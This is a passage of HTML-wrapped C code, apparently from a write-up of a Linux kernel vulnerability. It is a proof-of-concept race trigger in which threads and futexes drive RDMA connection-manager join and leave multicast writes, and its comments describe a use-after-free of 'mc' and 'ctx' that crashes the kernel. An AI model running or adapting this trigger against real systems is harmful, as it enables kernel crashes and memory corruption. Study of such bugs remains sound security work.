class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-191\"><span class=\"crayon-c\">\/\/readTime(1);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-192\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">__NR_write<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000180<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xa0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-193\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ucma_join_multicast <\/span><span class=\"crayon-i\">alloc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;mc&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">then<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">will <\/span><span class=\"crayon-e\">free <\/span><span class=\"crayon-e\">it <\/span><span class=\"crayon-st\">and<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-194\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;ctx&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">there <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-e\">some <\/span><span class=\"crayon-v\">error<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-195\"><span class=\"crayon-c\">\/\/readTime(11111);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-196\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-197\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000140<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-198\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-199\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-200\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/printf(&#8220;leave&#8230;&#8230;&#8230;n&#8221;);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-201\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000240<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x11<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-202\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000244<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-203\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000246<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xfa00<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-204\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint64_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000248<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000100<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-205\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-206\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000250<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ set id<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-207\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-208\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000254<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-209\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-210\"><span class=\"crayon-c\">\/\/readTime(2);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-211\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">__NR_write<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000240<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x18<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-212\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ucma_leave_multicast<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">find<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;mc&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">use<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">it <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;ctx&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Crash <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">it<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-213\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-214\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-215\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-216\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">runJoin<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-217\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-218\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-219\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-220\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-221\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-222\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-223\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-224\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-225\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-226\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-227\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-228\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-229\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-230\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">count<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-231\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-232\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">runCreateOrLeave<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadNum<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-233\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-234\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">threadNum<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ 0 or 1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-235\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">timespec <\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-236\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-237\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-238\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-239\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-240\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-241\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-242\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-243\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-244\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_sec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-245\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_nsec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-246\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-247\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-248\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-249\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">runCreateOrLeaveNoWait<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadNum<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-250\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-251\"><span 